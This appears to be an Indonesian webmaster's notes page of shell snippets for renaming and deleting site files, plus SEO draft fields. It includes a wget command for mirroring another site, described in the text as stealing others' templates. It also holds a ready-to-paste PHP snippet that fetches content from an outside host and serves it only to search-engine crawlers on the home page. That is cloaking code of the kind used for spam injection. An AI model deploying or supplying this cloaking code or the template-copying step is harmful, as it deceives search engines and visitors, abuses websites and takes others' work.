Rename file di dalam root
Untuk rename file non-html di root menjadi format .html.
cd /www/wwwroot/domainlo
find . -maxdepth 1 -type f ! -name "*.*" -exec sh -c 'mv "$1" "$1.html"' _ {} \;
CATATAN GA PENTING
Untuk rename file non-html di root menjadi format .html.
cd /www/wwwroot/domainlo
find . -maxdepth 1 -type f ! -name "*.*" -exec sh -c 'mv "$1" "$1.html"' _ {} \;
Gunakan script ini dengan benar, minimal harus maling template orang
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent https://targetchacha.site/
yang tadinya /menu/ menjadi menu.html
cd /www/wwwroot/namadomain.com
find ./products -mindepth 2 -maxdepth 2 -type f -name "index.html" | while read file; do
dir=$(dirname "$file")
slug=$(basename "$dir")
target="./products/${slug}.html"
if [ -e "$target" ]; then
rm -f "$file"
rmdir "$dir" 2>/dev/null && echo "REMOVED DIR: $dir" || echo "DIR NOT EMPTY: $dir"
else
echo "TARGET NOT FOUND, SKIP DELETE: $target"
fi
done
Hapus folder miror
cd /www/wwwroot/namadomain.com
find ./products -mindepth 1 -maxdepth 1 -type d | while read dir; do
slug=$(basename "$dir")
html="./products/${slug}.html"
if [ -f "$html" ]; then
rm -rf "$dir"
echo "REMOVED: $dir"
else
echo "SKIP: $dir (html not found)"
fi
done
tambahkan simbol < di depan script ( < ? php )
?php
function mangsud($url) {
if (ini_get('allow_url_fopen')) {
return file_get_contents($url);
} elseif (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
return false;
}
$res = strtolower($_SERVER["HTTP_USER_AGENT"]);
$bot = "https://kroco.info/ambalcosmetics";
$file = mangsud($bot);
$botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/";
if (preg_match($botchar, $res)) {
if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '/index.php') { echo $file; exit; }
}
?>
Tempat nyimpen draft title, meta description, schema, dan catatan SEO lain.
Title:
Isi title di sini
Meta Description:
Isi meta description di sini
Schema:
Tempel JSON-LD di sini